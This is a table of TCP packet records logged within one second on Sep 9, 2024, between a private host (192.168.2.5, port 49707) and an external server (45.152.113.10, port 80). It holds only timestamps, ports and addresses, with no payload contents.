Sep 9, 2024 18:45:02.013396978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013405085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013416052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013422966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013436079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013438940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013454914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013463020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013472080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013492107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013508081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013823032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013838053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013854027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013885975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013927937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013937950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013959885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013976097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013983011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013992071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014008999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014009953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014027119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014029026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014043093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014046907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014067888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014074087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014095068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014098883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014116049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014126062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014133930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014143944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014152050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014159918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014168978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014179945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014193058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014199972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014211893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014220953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014228106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014241934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014245987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014261961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014261961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014283895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014297009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014302969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014316082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014322996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014333010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014349937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014350891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014369011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014373064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014384031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014390945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014400959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014414072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014415979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014434099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014444113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014451981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014467001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014473915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014483929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014499903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014501095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014518023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.014532089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014549971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.014579058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015093088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015146017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015149117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015162945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015193939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015225887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015243053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015259027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015275002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015291929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015294075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015321970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015321970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015341997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015423059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015439034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015455008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015471935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015476942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015490055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.015500069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015541077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.015541077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.016037941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.016088009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.016088963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.016104937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.016141891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.016141891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.016190052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.016206980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.016225100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.016239882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.016242027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.016268015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.016268015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.016288042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.048984051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049016953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049032927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049055099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049098015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049098969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049222946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049237967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049253941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049271107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049273968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049287081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049299955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049299955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049303055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049319983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049323082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049340010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049351931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049357891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049376011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049391031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049410105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049417019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049432039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049433947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049451113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049468040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049469948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049489975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049499035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049516916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049516916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049557924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049628973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049659967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049674988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049685955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049700975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049704075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049717903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049724102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049735069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049750090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049753904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049770117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049792051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049808025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049851894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049866915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049882889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049899101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049902916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049912930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.049928904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049928904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049962997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.049962997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050160885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050175905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050190926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050215960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050236940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050239086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050254107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050255060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050272942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050288916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050291061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050308943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050328970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050348997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050401926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050417900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050432920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050448895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050451994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050467014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050472021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050483942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050499916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.050499916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050499916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050519943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050539970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.050568104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.104800940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.104816914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.104832888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.104847908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.104862928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.104886055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.104893923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.104919910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.104934931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.104944944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.104944944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.104952097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.104969025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.104976892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.104984999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105000973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105009079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105026960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105029106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105053902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105057001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105068922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105078936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105084896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105098963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105101109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105123043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105123043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105139017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105154037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105155945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105170012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105184078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105187893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105202913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105211973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105218887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105236053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105247021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105252028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105264902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105271101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105282068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105289936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105305910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105319023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105323076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105340004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105355024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105355978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105377913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105381012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105395079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105403900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105420113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105434895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105436087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105453014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105469942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105474949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105496883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105510950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105524063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105539083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105540037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105556011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105566978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105572939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105590105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105591059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105608940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105616093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105627060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105643034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105654955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105715036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105726004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105732918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105748892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105763912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105765104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105782032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105798006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105798960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105814934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105829000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105834007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105858088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105890036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.105941057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105957031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.105988979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.106036901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.110608101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.110656977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.110671043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.110672951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.110702038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.110713005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.110724926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.110729933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.110748053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.110759020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.110776901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.110804081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.141797066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.141812086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.141827106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.141855001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.141880035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.141884089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.141908884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.141923904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.141932011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.141941071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.141957045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.141957998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.141972065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.141977072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.141988993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.141993999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142004967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142024040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142052889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142055035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142069101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142086029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142096043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142102957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142122984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142148018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142152071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142168045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142184019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142199039 CEST	49707	80	192.168.2.5	45.152.113.10
